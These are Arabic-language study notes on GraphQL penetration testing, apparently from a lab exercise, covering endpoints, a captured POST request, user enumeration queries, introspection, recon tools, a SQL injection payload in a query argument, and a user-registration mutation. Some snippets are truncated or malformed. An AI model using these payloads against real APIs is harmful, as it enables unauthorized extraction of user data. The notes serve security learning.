

GraphQL

- عبارة عن API يستخرج معلومات عن المستخدم من داخل قواعد البيانات
 - الوسيط بين ال FRONT وال back end
 - علشان نشغل بالـ GraphQL بتتعرف علي two endpoint دايما بيبقي موجود فيهم
 - /graphql
 - /api/graphql
 - لو مش من دول لازم تبقي graphql بتبقي موجوده معاه
-

GET /users/ali



POST /graphql

•

- الفرق بين ال Rest API وال graphql
- ال Rest API
 - بتجيب معلومات عن ال USER
 - بتغير ف المسار عادي
- ال GraphQL

- دائما بتستخدم POST والـ graphql ثابتة برضو زي كذا

Request

Pretty Raw Hex GraphQL

```

1 POST /graphql HTTP/1.1
2 Host: 172.17.0.2
3 Content-Length: 67
4 Content-Type: application/json
5 Cookie: session=
  eyJyb2xlIjoidXNlciIsInVzZXIiOiJodGItc3RkbnQifQ.ZqKJBg.eNKX254dZA5
  4lrVgkX9E2VTuSiM
6
7 {
  "query":
    "{posts { uuid title body category author { username } }}"
  }

```

- اللي بيتغير ال body بس

Code: **graphql**

```

{
  users {
    id
    username
    role
  }
}

```

- دا ال payloads اللي بتتحت تحت طلب ال graphql
- بيحبيلك معلومات ال Users كلهم

- id ال
- username ال
- role ال

```
{
  user(id:1, username:"Hossam") {
    id
    username
    role
  }
}
```

- لو عايز تحدد مش كل ال Users
- بتشيل حرف ال S
- بتعمل () وتكتب جواهر البيانات اللي عايز تبحث عنها

-
- اداة graphwOOf بتحددلك السيرفر اللي شغال عليه ال graphql
 - بعد ما تعرف بتخش علي موقع اسمو GraphQL-Threat-matrix وتشوف اي المتاح تشتغل عليه فالسيرفر اللي عرفته

```
query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name
```

- دا ال introspection اللي بتستخدمه لما بتلاقي graphql دا ثابت
 - لو هتستخدمه ف ال burp بتحط قبلهم " query " والكود كلو بيبقي علي سطر واحد
 - ال رد بتاع الكود بتاخذه علي موقع اسمو " graphql voyager "
-

```

{
  postByAuthor(author: "htb-stdnt'-- -"){
    uuid
    id
    title
    body
    category
    authorId
  }
}

```

- ممكن نستخدم ال SQL Injection
- بتعمل Injection في منطقه ال User

```

mutation{
  registerUser(input: {username: "hossam", password: "1211111111134"
    {
      user{
        username
        password
        role
        msg
      }
    }
  }
}

```

- بتستخدم ال mutation بتعدل ف قواعد البيانات